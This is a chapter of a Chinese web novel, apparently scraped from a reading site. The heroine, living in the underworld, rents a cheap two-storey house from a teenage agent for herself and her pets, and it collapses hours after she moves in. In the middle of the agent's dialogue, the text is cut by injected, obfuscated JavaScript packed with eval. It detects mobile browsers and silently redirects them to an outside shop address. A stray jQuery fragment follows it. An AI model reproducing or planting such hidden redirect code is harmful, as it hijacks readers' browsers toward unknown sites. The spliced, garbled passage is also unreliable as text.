文趣网 > 都市小说 > 地府打工后上司总想劝退我 > 7.四处流浪的咸鱼
    难道说,小企鹅能留下来,是因为她吗?

    自己原来有什么庇护的buff加持吗?

    虽然不懂这是什么原理,但和歌玲就像找到宝箱密钥的小孩,迫不及待拿着钥匙向人炫耀:

    “那如果我收留它们,它们是不是就可以一直留在地府了?”

    叶月夜语气没什么起伏:“收留?你连住所都没有吧?”

    和歌玲噎住了,正如他所说的,她来到地府之后,要么一直四处漂荡,随便找个树头就睡下了,要么睡在事务所里。

    总不能让四个小家伙跟着她过居无定所的日子。

    但……她看了眼蜷抱成一团的小狗,强行灌它们喝下孟婆汤太不人道,让她放任它们就此消散她也做不到。

    【没事哒小和歌,房子可以后面再租嘛~】

    福福凭空冒出来,欢快地围着她转了两圈,嘴里说出的话却不是那么令人欢快:

    【反正你在我这里欠的钱也就够多了,也不差这一笔房租了,大不了打一辈子工给我偿还。】

    和歌玲:“……”

    虽然很不想承认,但她四处流浪正是因为没钱!

    不过由于她欠下的实在太多,再加一笔房租确实不算什么了,于是她大手一挥,对着小狗们爽快道:

    “既然你们不想走,那就跟着我生活吧!”

    于是下班后,她第一时间就拖家带口地找房子去了。

    *

    “我说这附近这么阴暗拥挤,住在这里真的没问题吗?”

    和歌玲拿着地图,脚下一不留踩碎什么,低头一看,是半个流着绿水的臭鸡蛋。

    ……她唯一一双鞋子就这样战损了。

    她根据福福的推荐,来到了这个传说中房价最低、最有性价比的“租房圣地”。

    结果这里非但不神圣,还隐隐约约透露出一股诡异的阴森霉气。

    被湿气腐蚀得发黑的老破小木屋、遍地都是泥泞垃圾和爬虫的深巷,屋子与屋子之间的间隔仅有半截手臂宽,想越过某片区域只能在狭窄的巷子中绕迷宫……

    在这种地方住上一天,她都怕晚上睡觉被老鼠叼走,更何况她还带着四个手无缚鸡之力的家伙。

    和歌玲在第三次绕回同一个木屋前时,果断放弃了在这里租房的念头。

    别说租房了,她甚至没办法在这片乱葬岗一样的地方找到第二间木屋!

    “Hello 这位小姐,请问是要找房子吗?”

    一道影子从旁边的深巷中跳出来,直接怼到她脸上。

    和歌玲惊得倒退好几步,终于绊到了身后不远处的铁皮垃圾桶,连人带桶一起摔倒在地上。

    少年伸手抓住她的手腕,一把将她从地上拽起,起身后用指关节一捋脸颊边的刘海:

    “看来你真的很迫切找到一间房子,遇到我这样热心的天使想必很感激吧?但也不用如此激动。”

    少年看起来不过十五、六岁,有着一头漂亮的浅金色锁骨短发,将脸型修饰得十分瘦削精巧。

    但那双透着精锐笑意的眼睛以及那身朋克风黑夹克,却让人觉得他有着远超年龄的心智。

    从头精致到脚的少年,在这片地方确实像散发着圣光的天使。

    可惜这里是地狱。

    和歌玲拍了拍身上的污渍,尽管很不爽还是礼貌道:“不好意思我不租房。”

    “我叫珀西,是这片区域的房地产经纪人。”

    少年紧追在她身后她不放:“你心里对房子的预期是什么样的呢?在我这里绝对能找到超出你预期的房子哦。”

    和歌玲充耳不闻,抱着小狗继续往前走。

    让她花钱住这里,还不如直接把钱给撕了,

    “坐北朝南、三室一厅、两层独栋套房怎么样?”

    见她依旧不理,珀西又加了一句:“可以养宠物哦!”

    和歌玲脚步刚有停顿,身后珀西立马递了一张纸上来:“这是房子的照片,你看看怎么样?”

    虽然是几张黑白照,但屋内桌子床铺一应俱全,除此之外没有过多的杂物,木质地板上也很平坦,没有东翘一块西翘一块,比想象中的要简洁不少。

    布局也很宽敞,的确是不可多得的好房子。

    “这样的房子应该很贵吧?”毕竟两层以上的住宅,她只在叶月夜家见过。

    珀西笑声带着少年人独有的爽朗和坦率:“相比附近的房子,确实是要贵一点,但应该算不上很贵,只要1500冥币。”

    因为这片区域的房子都远离地府中心,且房区布局较为杂乱,通勤要花费不少时间,平时也没什么人愿意来租房,房屋一直闲置着,所以房价自然就低了。

    比起居无定所,通勤时间长对她来说已经算不上是顾虑了,这栋房子的确很适合她。

    和歌玲跟着珀西七扭八拐地穿过一堆危房,来到一个长满芦苇的荒凉郊区。

    田里的芦苇有半个人高,那栋深棕色的两层木屋,就在芦苇的包裹中静静矗立着。

    一脚踏入芦苇丛时,和歌玲感到一种隐世般的悠然自得。

    一人三狗一企鹅,从此就这样过上宁静的田园生活,好似也不错!

    珀西从夹克口袋掏出一把略有铁锈的长钥匙,在木门的锁眼上捅了半天,总算是把门打开了。

    门才掀开一道缝隙,和歌玲就被扑面而来的灰尘呛得直打喷嚏,下意识抬手护住鼻子眼。

    “哈哈哈不好意思,因为常年无人打理,里面难免容易落灰。”珀西绅士地替她打开门,笑嘻嘻地将她让进门内。

    好不容易止住咳嗽,和歌玲挥开空气中的尘埃,但屋内昏暗无比,仅凭月光根本无法清晰辨认屋内的状况。

    珀西盲人摸象一般在四周的墙壁上摸索着,过了半天,和歌玲头顶的黄色电灯泡终于“滋啦啦”挣扎着亮了起来。

    “哇,主人,这里居然有床耶!”小企鹅看到房间角落那张木架床时眼睛都亮了,颇为兴奋地在上面打着滚。

    和歌玲在整栋楼里走了几圈,发现和照片上的大差不差,唯一的区别就是无论是房屋的建材还是家具,都要比家具上老旧不少,估计照片也是好几年前拍的。

    “怎么样?比起你刚才看见的房子,这里确实还算不错吧?”

    和歌玲点点头,一只手伸进上衣的口袋摸索着:“那我就要这间房子了,请问还有什么流程要走?房契合同之类的在哪签署?”

    “不需要签合同,我每个月会亲自上门收房租,到时候你亲手把租金给我就好,我也好及时检查屋内有没有损坏需要保修的地方

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691097|207839||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    和歌玲心道这还真是个缺心眼的家伙,就不怕她月末最后一天跑掉了,同时暗自呼唤福福道:

    【福福借我一千五冥币。】

    福福心领神会,下一刻她空荡荡的口袋里就出现了一沓钱。

    把钱交给珀西后,和歌玲以光速展开了对房子的全方位清洁,凭着这几天对干杂活的熟稔,也才在凌晨2点之前把一楼清理干净。

    这也不怪她效率低,家里的水龙头半天淌不出半桶水,而房子的占地面积又是在太大,将整栋楼擦洗一遍,光是盛水就得盛到天亮。

    末了她还给小家伙们匆匆洗了个澡,因为床架暂时没有床铺,她们今晚注定只能睡在刚扫净的木地板上。

    但当她全身舒展地躺在地板上时,她终于在这个阴暗的地府里第一次感受到了“家”的安心。

    “真好啊。”和歌玲盯着头顶暖黄的光圈看了许久,在困意袭来的那一刻安然入睡。

    但偏偏老天爷就是见不得她过上一秒的好日子,半夜里,一阵轻微的晃动将她从酣睡中惊醒。

    和歌玲猝然睁眼,头顶的灯光比睡前更加晃眼,让人头晕目眩,她定睛一看,那悬吊在屋顶上的灯泡竟开始左右剧烈摇摆起来。

    !!!

    “小企鹅小狗崽子快起来!”她伸手去推身旁的小家伙,发现它们竟能在这种状态下睡得比猪还死。

    “你们真应该投胎去当一头猪!”和歌玲急得额角冒汗,左手两只猪右手两只猪,抱起来就往冲下楼。

    可悲的是,她站门前拧了半天门把手,木门丝毫没有打开的迹象。

    这栋房子所有东西都破旧,但唯独这扇门,虽然旧,却是用脚猛踹都踹不烂。

    房子晃动的幅度越来越大,和歌玲双手抱着东西,没有可以支撑身体平衡的支点,每晃一下她就跟着踉跄几步,狠狠撞在木墙上。

    不行,这样下去,她们会被活埋在这里的。

    情急之下,和歌玲将目光投向那条漆黑的楼梯道。

    她身手一贯不错,若是从二楼的窗户跳下去也不是问题,小企鹅会飞更不是问题。

    前提是她运气好,窗户没有被锁死。

    头顶的木梁突然掉落,堪堪擦过她手臂砸在她脚边,和歌玲弓腰护着怀里的小家伙,一边躲避坠落物一边连滚带爬地往楼上走。

    求求了,千万不要锁死。

    好不容易摸索到那扇脱臼的木窗旁,和歌玲用手肘往窗上猛力一撞,窗户上的木条因受力开始松动。

    和歌玲一喜,瞬间燃起了希望,像捣桩似的,用半边身体一下又一下地猛撞木窗,在木头发出几声断裂声后,终于“砰”地大开。

    “小企鹅你先下去!”

    和歌玲“咻”地将粉白团子扔下楼底,随后又对另外几个狗崽喊道:“抓好了!”

    说着从窗台上腾空一跃,身体落到地上时在水泥地上翻滚几圈,终于稳稳停住。

    下一秒,两层的木屋在她身后轰然坍塌,大地颤动着带起大量粉尘,将她们卷入尘暴之中。

    待四周逐渐归于平静后,和歌玲看着眼前的废墟,终于接受了一个事实——

    她的新家,在她入住的七个小时后,彻底毁灭了。

    她又成了居无定所的流浪者。